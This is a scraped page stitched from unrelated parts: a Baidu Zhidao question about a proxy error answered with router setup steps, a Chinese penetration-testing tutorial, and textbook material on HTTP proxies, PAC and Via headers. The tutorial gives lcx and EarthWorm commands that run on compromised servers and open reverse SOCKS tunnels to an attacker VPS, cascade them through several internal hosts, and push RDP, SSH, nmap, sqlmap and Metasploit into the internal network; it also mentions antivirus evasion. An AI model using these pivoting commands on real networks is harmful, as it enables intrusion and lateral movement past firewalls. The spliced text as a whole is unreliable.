电脑连接路由器后显示“系统配置为代理使用，但null无法连接到此代理”，应该怎么解决呀？_百度知道
电脑连接路由器后显示“系统配置为代理使用，但null无法连接到此代理”，应该怎么解决呀？
答题抽奖
首次认真答题后
即可获得3次抽奖机会，100%中奖。
腾讯电脑管家
有实力 无所惧
腾讯电脑管家
腾讯电脑管家是腾讯公司推出的免费安全管理软件，能有效预防和解决计算机上常见的安全风险，并帮助用户解决各种电脑“疑难杂症”、优化系统和网络环境，是中国综合能力最强、最稳定的安全软件。
1、开始设置向导进入路由器的管理界面后，点击 设置向导，点击 下一步。2、选择上网方式上网方式选择 PPPoE（ADSL虚拟拨号） ，点击 下一步。3、输入上网宽带账号和密码在对应设置框填入运营商提供的宽带账号和密码，并确定该账号密码输入正确。4、设置无线参数SSID 即无线网络名称（可根据实际需求设置），选中 WPA-PSK/WPA2-PSK 并设置 PSK密码，点击 下一步。注意：无线密码是用来保证无线网络安全，确保不被别人蹭网。5、设置完成点击 重启，设置向导完成。
为你推荐：
其他类似问题
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。0×01 引言
在实际渗透过程中，我们成功入侵了目标服务器。接着我们想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口，比如内网的3389端口、内网网站8080端口等等。传统的方法是利用nc、lcx等工具，进行端口转发。
适用端口转发的网络环境有以下几种：
1. 服务器处于内网，可以访问外部网络。
2. 服务器处于外网，可以访问外部网络，但是服务器安装了防火墙来拒绝敏感端口的连接。
3. 服务器处于内网，对外只开放了80端口，并且服务器不能访问外网网络。
对于以上三种情况，lcx可以突破1和2二种，但是第3种就没有办法了，因为lcx在使用中需要访问外部网络。
这里的第3种就可以用到我们今天重点要讲的SOCKS代理。Socks是一种代理服务，可以简单地将一端的系统连接到另外一端。支持多种协议，包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型，socks 4只支持TCP协议而socks 5支持TCP/UDP协议，还支持各种身份验证机制等协议。其标准端口为1080。
Socks在渗透测试中使用特别广泛，能够很方便让我们与目标内网计算机之间通信，避免了一次又一次使用端口转发的麻烦。比较常见的Socks5工具有htran，reGeorg等，socks4的有metasploit。
在实际渗透测试过程中，当我们成功的拿下第一台堡垒机后，此时我们又想对目标内网进一步渗透测试时，socks能够帮助我们更加快速的，方便的访问目标内网的各种资源，比传统的端口转发更加实用。
0×02 渗透环境
此次渗透的环境：左侧是我的个人电脑（内网）和一台有公网IP的VPS，右侧是一个小型内网。假设我们现在已经渗透了一台WEB服务器，该服务器内网IP为10.48.128.25。经过扫描，右侧小型内网网络结构如图所示。其中我们控制的WEB服务器是连接外网和内网的关键节点，内网其他服务器均不能直接连接。图是我老婆用CAD画的，还不错吧！: )
0×03 socket端口转发
首先我们介绍下最为经典也是使用最为频繁的端口转发工具lcx，lcx.exe 是一个基于 socket 套接字实现的端口转发工具，它是从 linux 下的htran 工具移植到windows平台的。一条正常的socket隧道必具备两端，一侧为服务端，它会监听一个端口等待客户端连接；另一侧为客户端，通过传入服务端的ip和端口，才能主动连接到服务器。
比如要转发上图中目标机器10.48.128.25的3389端口：
1、在目标机器10.48.128.25上执行
lcx.exe&–slave&139.XXX.XX.113&.128.25&3389
此段命令意思是将目标机器3389端口的所有数据都转发到公网VPS的9000端口上。
2、在VPS上执行
lcx.exe&–listen&
此段命令意思是将本机9000端口上监听到的所有数据转发到本机的5555端口上。
3、在左侧的My PC机上用mstsc登陆139.XXX.XX.113:5555或者在VPS上用mstsc登陆127.0.0.1:5555。即可访问右侧内部网络中10.48.128.25服务器的3389端口。
Lcx工具实现的是一对一的端口转发，如果想访问右侧网络中列出的所有端口，就必须一次次的重复lcx的转发过程，效率相当低下。而且服务器都是有装有杀毒软件的，即使有做免杀也不能保证绕过所有的杀毒。
像这种情况就可以用到socks代理，在10.48.128.25这台既能连接互联网又能连接内网的WEB服务器上架设代理。
0×04 SOCKS代理工具
socks代理其实也可理解为一个增强版的 lcx，它在服务端监听一个服务端口，当有新的连接请求时会从socks协议中解析出访问目标的URL的目标端口，再开始执行lcx的具体功能。网络上Socks代理工具有很多，选用的时候尽可能使用无GUI界面的工具，还有尽可能不需要安装其他依赖软件，能够支持多平台操作系统的更佳。
1. Earthworm & & 工具网址：&
EW 是一套便携式的网络穿透工具，具有 SOCKS v5服务架设和端口转发两大核心功能，可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道，直达网络深处，用蚯蚓独有的手段突破网络限制，给防火墙松土。工具包中提供了多种可执行文件，以适用不同的操作系统，Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用。
目前已经有了最新版Termite，工具网址：&
2.reGeorg & & & & 工具网址：&
reGeorg是reDuh的升级版，主要是把内网服务器的端口通过http/https隧道转发到本机，形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透，服务器必须支持aspx、php或jsp这些web程序中的一种。
3.sSocks & & & & &工具网址：&
sSocks是一个socks代理工具套装，可用来开启socks代理服务，支持socks5验证，支持IPV6和UDP，并提供反向socks代理服务，即将远程计算机作为socks代理服务端，反弹回本地，极大方便内网的渗透测试，其最新版为0.0.13。
4.SocksCap64 & & 工具网址：&(需FQ)
SocksCap64是一款在windows下相当好使的全局代理软件。SocksCap64可以使Windows应用程序通过SOCKS代理服务器来访问网络而不需要对这些应用程序做任何修改, 即使某些本身不支持SOCKS代理的应用程序通过SocksCap64之后都可以完美的实现代理访问。
5.proxychains & & 工具网址：&
Proxychains是一款在LINUX下可以实现全局代理的软件，性能相当稳定可靠。在使任何程序通過代理上網，允許TCP和DNS通過代理隧道，支持HTTP、SOCKS4、SOCKS5類型的代理服務器，支持proxy chain，即可配置多個代理，同一個proxy chain可使用不同類型的代理服務器。
0×05 架设代理服务端
在实际渗透测试中，我经常使用的socks工具是EW，该程序体积很小，LINUX的只有30KB左右，Windows下面的也只有56KB，而且不需要再做其他设置，真的是居家旅行之必备之物。
下载打开EW软件文件夹，可以看到有针对各种系统用的程序，如下图：
根据你实际的操作系统选用就可以了，因为我们此次渗透是WINDOWS的所以就用ew_for_win.exe这个程序了。EW的使用也非常简单，该工具共有 6 种命令格式（ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran）。
首先介绍用于普通网络环境的正向连接ssocksd命令和反弹连接rcsocks命令、rssocks命令，再介绍用于复杂网络环境的多级级联。
# 简单解释下正向代理和反向代理的区别，正向代理就是我们主动通过proxy来访问目标机器，反向代理就是目标机器通过proxy主动来连接我们。
1. 正向socks v5服务器 & & & & & &适用于目标机器拥有一个外网IP
ew&–s&ssocksd&–l&888
上述命令架设了一个端口为888，SOCKS的代理。然后使用sockscap64添加这个IP的代理就可以使用了。比较简单就不演示了。
2. 反弹socks v5服务器 & & & & & 适用于目标机器没有公网IP，但可访问内网资源
A． 先上传ew 到左侧ip地址为139.XXX.XX.113公网VPS的C盘上，运行下列命令：
ew&-s&rcsocks&-l&1008&-e&888
该命令的意思是在我们公网VPS上添加一个转接隧道，把1080端口收到的代理请求转交给888端口
B． 上传EW到右侧IP地址为10.48.128.25的WEB服务器C盘上，运行下列命令：
ew&-s&rssocks&-d&139.XXX.XX.113&-e&888
该命令的意思是在10.48.128.25上启动SOCKS V5服务，并反弹到IP地址为139.XXX.XX.113左侧公网VPS的888端口上。
C． 返回我们公网VPS的CMD界面下，可以看到已经反弹成功了。现在就可以通过访问139.XXX.XX.113:1008端口使用在右侧10.48.128.25架设的SOCKS5代理服务了。
3.二级网络环境（一）
假设我们获得了右侧A主机和B主机的控制权限，A主机配有2块网卡，一块连通外网，一块10.48.128.25只能连接内网B主机，无法访问内网其它资源。B主机可以访问内网资源，但无法访问外网。
A.先上传ew到B主机，利用ssocksd方式启动888端口的SOCKS代理，命令如下：
ew&-s&ssocksd&-l&888
B.上传ew到右侧A主机，运行下列命令：
ew&-s&lcx_tran&-l&1080&-f&10.48.128.49&-g&888
该命令意思是将1080端口收到的代理请求转交给B主机（10.48.128.49）的888端口。
C.可以通过访问A主机外网139.XXX.XX.113:1080来使用在B主机架设的socks5代理。
4.二级网络环境（二）
假设我们获得了右侧A主机和B主机的控制权限，A主机没有公网IP，也无法访问内网资源。B主机可以访问内网资源，但无法访问外网。
这个操作分为4步，用到lcx_listen和lcx_slave命令：
A. 先上传ew 到左侧公网VPS上，运行下列命令：
ew&–s&lcx_listen&–l&10800&–e&888
该命令意思是在公网VPS添加转接隧道，将10800端口收到的代理请求转交给888端口。
B.上传ew到右侧B主机，并利用ssocksd方式启动999端口的socks代理，命令如下：
ew&-s&ssocksd&-l&999
C.上传ew 到右侧A主机，运行下列命令：
ew&-s&lcx_slave&-d&139.XXX.XX.113&-e&888&-f&10.48.128.49&-g&999
该命令意思是在A主机上利用lcx_slave方式，将公网VPS的888端口和B主机的999端口连接起来。
D. 返回我们公网VPS的CMD界面下，可以看到已经连接成功了。
现在就可以通过访问公网VPS地址 139.XXX.XX.113:10800来使用在B主机架设的socks5代理。
5.三级网络环境
三级网络环境在实际渗透中用的比较少，也比较复杂，现在我们来一个个的讲解下三级级联的用法。
假设渗透场景：右侧内网A主机没有公网IP但可以访问外网，B主机不能访问外网但可以被A主机访问、C主机可被B主机访问而且能够访问核心区域。
A.在左侧公网VPS上运行命令，将1080端口收到的代理请求转交给888端口：
ew&-s&rcsocks&-l&1080&-e&888
B.在A主机上运行命令，将公网VPS的888端口和B主机的999端口连接起来：
ew&-s&lcx_slave&-d&139.XXX.XX.113&-e&888&-f&10.48.128.12&-g&999
C.在B主机上运行命令，将999端口收到的代理请求转交给777端口：
ew&-s&lcx_listen&-l&999&-e&777
D.在C主机上启动SOCKS V5服务，并反弹到B主机的777端口上，命令如下。
ew&-s&rssocks&-d&10.48.128.12&-e&777
E.在MY PC上可以通过访问公网VPS 139.XXX.XX.113:1080来使用在C主机架设的socks5代理。
整个数据流向是：SOCKS V5 → 1080 → 888 →999 →777 → rssocks
0×06 内网漫游
1.Windows下使用sockscap64
首先下载安装好SocksCap64后，以管理员权限打开。默认浏览器已经添加。
使用比较简单，点击代理，点击添加一个代理，然后设置下代理服务器IP和端口就可以使用了。设置好后可以点击软件右边有个闪电的小圆点，测试下当前代理服务器是否可以连接，如下图，连接是正常的。
这个时候就可以选择浏览器，右击在代理隧道中运行选中的程序，然后我们就可以自由访问我们想访问的内网资源了，比如我们可以访问10.48.128.22路由的80端口，如下图：
可以看到我们已经成功的通过socks代理漫游内部网络WEB资源，我们接着看看还有哪些程序能够利用SOCKSCAP的程序通过代理访问内网中的哪些端口了？
尝试登陆10.48.128.20的3389端口，可以看到成功登陆。
我们可以在我们的公网VPS的命令行下可以看到，不停的有数据的交换。再尝试PUTTY访问10.48.128.49的22端口，成功登陆。
再试试VNC端口，因为10.48.128.25开了5900端口，OK，成功访问。大家可以看到这种利用SOCKS代理实现一对多端口映射的优势立刻就体现了出来，效率倍增。
但是将扫描工具进行SOCKSCAP代理，然后对内网网段进行扫描，我没有尝试成功，大家可以多多的尝试各种工具!我在代理下用扫描工具一般都是用proxychains，大家接着往下看！
2.LINUX下使用proxychains
KALI系统已经预装好了这个工具，我们稍作配置就可以使用，打开终端，输入命令：
vi&/etc/proxychains.conf
#&顺便补充下LINUX下Vim编辑器简单使用方法
使用上面命令进入文本后，摁“i”键就进入了编辑模式，可以对文本进行修改，修改完后摁esc 然后摁住shift+； 左下角会出现一个冒号，如下图。
这个时候输入wq，摁回车保存并退出。
第一步先删掉dynamic_chain前面的注释符（也就是#符号），如下图
然后拉到最下面，把默认是socks4 127.0.0.1 9050 的地方改成我们架设的代理服务139.XXX.XX.113 1008
这样就设置完成了，我们接着测试下代理服务是否正常，在终端输入
proxyresolv&www.baidu.com
此时如上图所示会显示未找到命令，不要担心，继续在终端输入下列命令
cp&/usr/lib/proxychains3/proxyresolv&/usr/bin/
然后再次测试下代理服务器是否正常，如下图，显示OK就表示配置正确了。
现在我们就可以愉快的畅游内网了，照例先访问内网网站试试看，我们先在终端输入proxychains firefox启动火狐浏览器。
等个几秒钟，火狐就打开了，我们还是访问10.48.128.22路由的80端口看看。
顺利打开，可以看到kali里面的数据不停的交换，我们再打开10.48.128.48看看，也是可以访问的，一个Zend服务器测试页。
接着就到了我们的重头戏了，我们找几个具有代表性的工具试试，先看看NMAP和SQLMAP好使不!
如上图所示，均表示相当好使，我们最后再试试大杀器-Metasploit可不可以用。
我们随便找个IP扫扫看端口，如下图所示，已经开始扫描了。
其他工具就不再一一介绍了。
最后感谢rootkiter写出了如此优秀的软件。
阅读(...) 评论()Web的中间实体
Web代理(Web proxy)服务器是网络的中间实体。代理位于客户端和服务器之间，扮演"中间人"的角色，在各端点之间来回传送HTTP报文。Web上的代理服务器是代表客户端完成事务处理的中间人。如果没有Web代理，Web客户端就要直接与Web服务器进行对话。有了Web代理，客户端就可以与代理进行对话，然后由代理代表客户端与服务器进行交流。客户端仍然会完成对事务的处理，但它是通过代理服务器提供的优质服务来实现的。HTTP的代理服务器既是Web服务器又是Web客户端。Web客户端会向代理发送请求报文，代理服务器必须像Web服务器一样，正确地处理请求和连接，然后返回响应。同时，代理自身要向服务器发送请求，这样，其行为就必须像正确的Web客户端一样，要发送请求并接收响应。如果要创建自己的Web代理，就要认真地遵循为Web客户端和Web服务器制定的规则。
对于Web客户端来说：代理扮演的是Web服务器的角色，接受请求报文，返回响应报文；
对于Web服务器来说：代理扮演的是Web客户端的角色，发送请求报文，接收响应报文。
代理服务器可以是某个客户端专用的，也可以是很多客户端共享的。单个客户端专用的代理被称为私有代理。众多客户端共享的代理被称为公共代理。
公共代理：大多数代理都是公共的共享代理。集中式代理的成本效率更高，更容易管理。某些代理应用，比如高速缓存代理服务器，会利用用户间共同的请求，这样的话，汇入同一个代理服务器的用户越多，它就越有用。
私有代理：专用的私有代理并不常见，但它们确实存在，尤其是直接运行在客户端计算机上的时候。有些浏览器辅助产品，以及一些ISP服务，会在用户的PC上直接运行一些小型的代理，以便扩展浏览器特性，提高性能，或为免费ISP服务提供主机广告。
代理与网关
严格来说，代理连接的是两个或多个使用相同协议的应用程序，而网关连接的则是两个或多个使用不同协议的端点。网关扮演的是"协议转换器"的角色，即使客户端和服务器使用的是不同的协议，客户端也可以通过它完成与服务器之间的事务处理。实际上，代理和网关之间的区别很模糊。由于浏览器和服务器实现的是不同版本的HTTP，代理也经常要做一些协议转换工作。而商业化的代理服务器也会实现网关的功能来支持SSL安全协议、SOCKS防火墙、FTP访问，以及基于Web的应用程序。
代理的功能
代理服务器可以实现各种时髦且有用的功能。它们可以改善安全性，提高性能，节省费用。代理服务器可以看到并接触到所有流过的HTTP流量，所以代理可以监视流量并对其进行修改，以实现很多有用的增值Web服务。
访问控制：可以用代理服务器在大量Web服务器和Web资源之间实现统一的访问控制策略，创建审核跟踪机制。这在大型企业环境或其他分布式机构中是很有用的。在集中式代理服务器上可以对所有访问控制功能进行配置，而无需在众多由不同组织管理、不同厂商制造、使用不同模式的Web服务器上进行经常性的访问控制升级。
安全防火墙：网络安全工程师通常会使用代理服务器来提高安全性。代理服务器会在网络中的单一安全节点上限制哪些应用层协议的数据可以流入或流出一个组织。还可以提供用来消除病毒的Web和E-mail代理使用的那种挂钩程序，以便对流量进行详细的检查。
Web缓存：代理缓存维护了常用文档的本地副本，并将它们按需提供，以减少缓慢且昂贵的因特网通信。
反向代理：代理可以假扮Web服务器。这些被称为反向代理(reverse proxy)的代理接收发给Web服务器的真实请求，但与Web服务器不同的是，它们可以发起与其他服务器的通信，以便按需定位所请求的内容。可以用这些反向代理来提高访问慢速Web服务器上公共内容时的性能。在这种配置中，通常将这些反向代理称为服务器加速器(server accelerator)。还可以将反向代理与内容路由功能配合使用，以创建按需复制内容的分布式网络。
内容路由器：代理服务器可以作为"内容路由器"使用，根据因特网流量状况以及内容类型将请求导向特定的Web服务器。内容路由器也可以用来实现各种服务级的请求。比如，如果用户或内容提供者付费要求提供更高的性能，内容路由器可以将请求转发到附近的复制缓存，或者如果用户申请了过滤服务，还可以通过过滤代理来转发HTTP请求。可以用自适应内容路由代理来构建很多有趣的服务。
转码器：代理服务器在将内容发送给客户端之前，可以修改内容的主体格式。在这些数据表示法之间进行的透明转换被称为转码(transcoding)。转码代理可以在传输GIF图片时，将其转换成JPEG图片，以减小尺寸。也可以对图片进行压缩，或降低颜色的色彩饱和度以便在电视上观看。同样，可以对文本文件进行压缩，并为能够使用因特网的呼机和智能手机生成小型的文本摘要Web页面。代理甚至可以在传输文档的过程中将其转换成外语。
匿名者：匿名者代理会主动从HTTP报文中删除身份特性(比如客户端IP地址、From首部、Referer首部、cookie、URI的会话 ID)，从而提供高度的私密性和匿名性。
从User-Agent首部删除用户的计算机与OS类型。
删除From首部以保护用户的E-mail地址。
删除Referer首部来掩盖用户访问过的其他站点。
删除Cookie首部以剔除概要信息和身份的数据。
代理会做些什么
代理服务器的部署位置
可以根据其目标用途，将代理放在任意位置。
出口代理：可以将代理固定在本地网络的出口点，以便控制本地网络与大型因特网之间的流量。可以在公司网络中使用出口代理，提供针对公司外部恶意黑客的防火墙保护，或降低带宽费用，提高因特网流量的性能。
访问(入口)代理：代理常被放在ISP访问点上，用以处理来自客户的聚合请求。ISP使用缓存代理来存储常用文档的副本，以提高用户(尤其是高速连接用户)的下载速度，降低因特网带宽耗费。
反向代理：代理通常会被部署在网络边缘，在Web服务器之前，作为反向代理使用，在那里它们可以处理所有传送给Web服务器的请求，并只在必要时向Web服务器请求资源。反向代理可以提高Web服务器的安全特性，或者将快速的Web服务器缓存放在较慢的服务器之前，以提高性能。反向代理通常会直接冒用Web服务器的名字和IP地址，这样所有的请求就会被发送给代理而不是服务器了。
网络交换代理：可以将具有足够处理能力的代理放在网络之间的因特网对等交换点上，通过缓存来减轻因特网节点的拥塞，并对流量进行监视。
代理的层次结构
可以通过代理层次结构(proxy hierarchy)将代理级联起来。在代理的层次结构中，会将报文从一个代理传给另一个代理，直到最终抵达原始服务器为止(然后通过代理传回给客户端)。代理层次结构中的代理服务器被赋予了父(parent)和子(child)的关系。下一个入口(inbound)代理(靠近服务器)被称为父代理，下一个出口(outbound)代理(靠近客户端)被称为子代理。
代理服务器可以根据众多因素，将报文转发给一个不断变化的代理服务器和原始服务器集。访问代理会根据不同的情况将报文转发给父代理或原始服务器。
负载均衡：子代理可能会根据当前父代理上的工作负载级别来决定如何选择一个父代理，以均衡负载。
地理位置附近的路由：子代理可能会选择负责原始服务器所在物理区域的父代理。
协议/类型路由：子代理可能会根据URI将报文转发到不同的父代理和原始服务器上去。某些特定类型的URI可能要通过一些特殊的代理服务器转发请求，以便进行特殊的协议处理。
基于订购的路由：如果发布者为高性能服务额外付费了，它们的URI就会被转发到大型缓存或压缩引擎上去，以提高性能。在不同的产品中，动态父路由逻辑的实现方式各有不同，包括使用配置文件、脚本语言和动态可执行插件等。
代理是如何获取流量的
客户端通常会直接与Web服务器进行通信，有四种常见方式可以使客户端流量流向代理。
修改客户端：很多Web客户端，都支持手工和自动的代理配置。如果将客户端配置为使用代理服务器，客户端就会将HTTP请求有意地直接发送给代理，而不是原始服务器。
修改网络：网络基础设施可以通过若干种技术手段，在客户端不知道，或没有参与的情况下，拦截网络流量并将其导入代理。这种拦截通常都依赖于监视HTTP流量的交换设备及路由设备，在客户端毫不知情的情况下，对其进行拦截，并将流量导入一个代理。这种代理被称为拦截(intercepting)代理。
修改DNS的命名空间：放在Web服务器之前的代理服务器——反向代理，会直接假扮Web服务器的名字和IP地址，这样，所有的请求就会发送给这些反向代理，而不是服务器了。要实现这一点，可以手工编辑DNS名称列表，或者用特殊的动态DNS服务器根据需要来确定适当的代理或服务器。有时在安装过程中，真实服务器的IP地址和名称被修改了，反向代理得到的会是之前的地址和名称。
修改Web服务器：也可以将某些Web服务器配置为向客户端发送一条HTTP重定向命令(响应码305)，将客户端请求重定向到一个代理上去。收到重定向命令后，客户端会与代理进行通信。
客户端的代理设置
所有现代的Web浏览器都允许用户对代理的使用进行配置。实际上，很多浏览器都提供了多种配置代理的方式，其中包括以下几种。
手工配置：显式地设置要使用的代理。
预先配置浏览器：浏览器厂商或发行商会在将浏览器发送给其客户之前预先对浏览器(或所有其他Web客户端)的代理设置进行手工配置。手工代理配置很简单但有些死板。只能为所有内容指定唯一的一个代理服务器，而且不支持故障转移。手工代理配置还会给大型组织带来管理问题。如果配置过的浏览器基数很大，那么需要进行修改的时候，重新配置每个浏览器是非常困难，甚至是不可能的。
代理的自动配置(Proxy Auto-Configuration，PAC)：提供一个URI，指向一个用JavaScript语言编写的代理自动配置文件；客户端会取回这个JavaScript文件，并运行它以决定是否应该使用一个代理，如果是的话，应该使用哪个代理服务器。
WPAD的代理发现：有些浏览器支持Web代理自动发现协议(Web Proxy Autodiscovery Protocol，WPAD)，这个协议会自动检测出浏览器可以从哪个"配置服务器"下载到一个自动配置文件。WPAD协议的算法会使用发现机制的逐级上升策略自动地为浏览器查找合适的PAC文件。WPAD会使用一系列的资源发现技术来判定适当的PAC文件。并不是所有组织都能够使用所有的发现技术，所以WPAD使用了很多种发现技术。WPAD会一个接一个地对每种技术进行尝试，直到成功为止。
PAC文件是一些小型的JavaScript程序，可以在运行过程中计算代理设置，因此，是一种更动态的代理配置解决方案。访问每个文档时，JavaScript函数都会选择恰当的代理服务器。要使用PAC文件，就要用JavaScript PAC文件的URI来配置浏览器[配置方式与手工配置类似，但要在"automatic configuration"(自动配置)框中提供一个URI]。浏览器会从这个URI上获取PAC文件，并用JavaScript逻辑为每次访问计算恰当的代理服务器。PAC文件的后缀通常是".pac"，MIME类型通常是"application/x-ns- proxy-autoconfig"。每个PAC文件都必须定义一个名为"FindProxyForURL(url,host)"的函数，用来计算访问URI时使用的适当的代理服务器。
代理自动配置脚本的返回值：
"FindProxyForURL(url,host)"的返回值
不经过任何代理，直接进行连接
PROXY host:port
应该使用指定的代理
SOCKS host:port
应该使用指定的SOCKS服务器
实现 WPAD 协议的客户端需要：
用WPAD找到PAC的URI；
从指定的URI获取PAC文件；
执行PAC文件来判定代理服务器；
为请求使用代理服务器。
当前的 WPAD 协议规范按顺序定义了下列技术：
动态主机配置协议(DHCP)；
服务定位协议(Service Location Protocol，SLP)；
DNS知名主机名；
DNS SRV记录；
TXT记录中的DNS服务URI。
代理URI与服务器URI的不同
除了一点之外，Web服务器报文和Web代理报文的语法是一样的。客户端向服务器而不是代理发送请求时，HTTP请求报文中的URI会有所不同。客户端向Web服务器发送请求时，请求行中只包含部分URI(没有方案、主机或端口)。但当客户端向代理发送请求时，请求行中则包含完整的URI。&/p&&p&为什么会有两种不同的请求格式，一种用于代理，另一种用于服务器呢？在原始的HTTP设计中，客户端会直接与单个服务器进行对话。不存在虚拟主机，也没有为代理制定什么规则。单个的服务器都知道自己的主机名和端口，所以，为了避免发送冗余信息，客户端只需发送部分URI即可，无需发送方案和主机(以及端口)。代理出现之后，使用部分URI就有问题了。代理需要知道目标服务器的名称，这样它们才能建立自己与服务器的连接。基于代理的网关要知道URI的方案才能连接到FTP资源和其他方案上去。"HTTP/1.0"要求代理请求发送完整的URI，解决了这个问题，但它为服务器请求保留部分URI的形式(已经有相当多的服务器都改为支持完整URI了)。因此，我们要将部分URI发送给服务器，将完整URI发送给代理。在显式地配置客户端代理设置的情况下，客户端就知道要发布哪种类型的请求了。
代理"缺少方案/主机/端口"的问题与虚拟主机Web服务器面临的问题相同。虚拟主机Web服务器会在很多Web站点间共享同一个物理Web服务器。包含部分URI的请求到达时，虚拟主机Web服务器需要知道目的Web站点的主机名。
尽管它们出现的问题相似，但解决方法却有所不同：
显式的代理要求在请求报文中使用完整URI来解决这个问题；
虚拟主机 Web 服务器要求使用Host首部来承载主机和端口信息。
拦截代理会收到部分URI
只要客户端正确地实现了HTTP，它们就会在请求中包含完整的URI，发送给经过显式配置的代理。这样解决了部分问题，但还有一个问题：客户端并不总是知道它是在和代理进行对话，因为有些代理对客户端可能是不可见的。即使没有将客户端配置为使用代理，客户端的流量也可能会经过替代物或拦截代理。在这两种情况下，客户端都会认为它在与Web服务器进行对话，不会发送完整的URI。
反向代理是一个用来取代原始服务器的代理服务器，它通常会通过假扮服务器的主机名或IP地址来做到这一点。它会收到Web服务器请求，可能会向真正的服务器提供缓存的响应或者代理请求。客户端无法区分反向代理和Web服务器，因此它会发送部分URI。
拦截代理是网络流量中的代理服务器，它会拦截从客户端发往服务器的请求，并提供一个缓存响应，或对其进行转发。由于拦截代理拦截了从客户端到服务器的流量，所以它会收到发送给Web服务器的部分URI。
处理服务器请求
由于将流量重定向到代理服务器的方式有所不同，通用的代理服务器既应该支持请求报文中的完整URI，也应该支持部分URI。如果是显式的代理请求，代理就应该使用完整URI，如果是Web服务器请求，就应该使用部分URI和虚拟Host首部。
使用完整和部分URI的规则如下所示。
如果提供的是完整URI，代理就应该使用这个完整URI；
如果提供的是部分URI，而且有Host首部，就应该用Host首部来确定原始服务器的名字和端口号；
如果提供的是部分URI，而且没有Host首部，就要用其他方法来确定原始服务器：
如果代理是代表原始服务器的替代物，可以用真实服务器的地址和端口号来配置代理；
如果流量被拦截了，而且拦截者也可以提供原始的IP地址和端口，代理就可以使用拦截技术提供的IP地址和端口号；
如果所有方法都失败了，代理没有足够的信息来确定原始服务器，就必须返回一条错误报文(通常是建议用户升级到支持Host首部的现代浏览器)。
修改URI的规则
代理服务器要在转发报文时修改请求URI的话，需要特别小心。对URI的微小修改，甚至是看起来无害的修改，都可能给下游服务器带来一些互操作性问题。尤其是，现在已知有些代理会在将URI转发给下一跳节点之前将URI"规范"为标准格式。有些看起来无害的转换行为，比如用显式的":80"来取代默认的HTTP端口，或者用适当的换码转义符来取代非法的保留字符以校正URI，就可能造成互操作性问题。总之，代理服务器要尽量宽容一些。它们的目标不是成为强制实现严格协议一致性的"协议警察"，因为这样可能会严重破坏之前能正常工作的服务。特别是，HTTP规范禁止一般的拦截代理在转发URI时重写其绝对路径部分。唯一的例外是可以用"/"来取代空路径。
URI的客户端自动扩展和主机名解析
根据是否有代理，浏览器对请求URI的解析会有所不同。没有代理时，浏览器会获取你输入的URI，尝试着寻找相应的IP地址。如果找到了主机名，浏览器会尝试相应的IP地址直到获得成功的连接为止。但是，如果没有找到主机，很多浏览器都会尝试着提供某种主机名自动“扩展”机制，以防用户输入的是主机“简短”的缩写形式。
很多浏览器会尝试着加入前缀"www."和后缀".com"，以防用户只输入了常见Web站点名的中间部分。
有些浏览器甚至会将未解析出来的URI传递给第三方站点，这个站点会尝试着校正拼写错误，并给出一些用户可能希望访问的URI建议。
而且，大多数系统中的DNS配置允许用户只输入主机名的前缀，然后DNS会自动搜索域名。
现在，在将Web请求从客户端传送到服务器的路径上，经过两个或多个代理是很常见的。比如，出于安全和节省费用的考虑，很多公司都会用缓存代理服务器来访问因特网，而且很多大型ISP都会使用代理缓存来提高性能并实现各种特性。现在，有相当比例的Web请求都是通过代理转发的。同时，出于性能原因，把内容复制到遍布全球的替代物缓存库中的情形也越来越常见了。代理是由不同厂商开发的。它们有不同的特性和缺陷，由各种不同的组织负责管理。随着代理的逐渐流行，我们要能够追踪经过代理的报文流，以检测出各种问题，其重要性就跟追踪经过不同交换机和路由器传输的IP分组流一样。
Via首部字段列出了与报文途经的每个中间节点(代理或网关)有关的信息。报文每经过一个节点，都必须将这个中间节点添加到Via列表的末尾。Via首部字段用于记录报文的转发，诊断报文循环，标识请求/响应链上所有发送者的协议能力。代理也可以用Via首部来检测网络中的路由循环。代理应该在发送一条请求之前，在Via首部插入一个与其自身有关的独特字符串，并在输入的请求中查找这个字符串，以检测网络中是否存在路由循环。
Via的语法：Via首部字段包含一个由逗号分隔的路标(waypoint)。每个路标都表示一个独立的代理服务器或网关，且包含与那个中间节点的协议和地址有关的信息。 每个Via路标中最多包含4个组件：一个可选的协议名(默认为HTTP)、一个必选的协议版本、一个必选的节点名和一个可选的描述性注释。
协议名：中间节点收到的协议。如果协议为HTTP的话，协议名就是可选的。否则，要在版本之前加上协议名，中间用"/"分隔。网关将HTTP请求连接到其他协议(HTTPS、FTP等)时，可能会使用非HTTP协议。
协议版本：所收到的报文版本。版本的格式与协议有关。HTTP使用的是标准版本号(1.0、1.1等)。版本包含在Via字段中，这样，之后的应用程序就会知道前面所有中间节点的协议能力了。
节点名：中间节点的主机和可选端口号(如果没有包含端口号，可以假定使用的是协议的默认端口号)。在某些情况下，出于隐私方面的考虑，某个组织可能不愿意给出真实的主机名，在这种情况下可以用一个假名来代替。
节点注释：进一步描述这个中间节点的可选注释。通常会在这里包含厂商和版本信息，有些代理服务器还会在注释字段中包含一些与此设备上所发生事件有关的诊断信息。
Via的请求和响应路径：请求和响应报文都会经过代理进行传输，因此，请求和响应报文中都要有Via首部。请求和响应通常都是通过同一条TCP连接传送的，所以响应报文会沿着与请求报文相同的路径回传。
Via与网关：有些代理会为使用非HTTP协议的服务器提供网关的功能。Via首部记录了这些协议转换，这样，HTTP应用程序就会了解代理链上各点的协议处理能力以及所做的协议转换了。
Server和Via首部：Server响应首部字段对原始服务器使用的软件进行了描述。如果响应报文是通过代理转发的，一定要确保代理没有修改Server首部。Server首部是用于原始服务器的。代理应该添加的是Via条目。
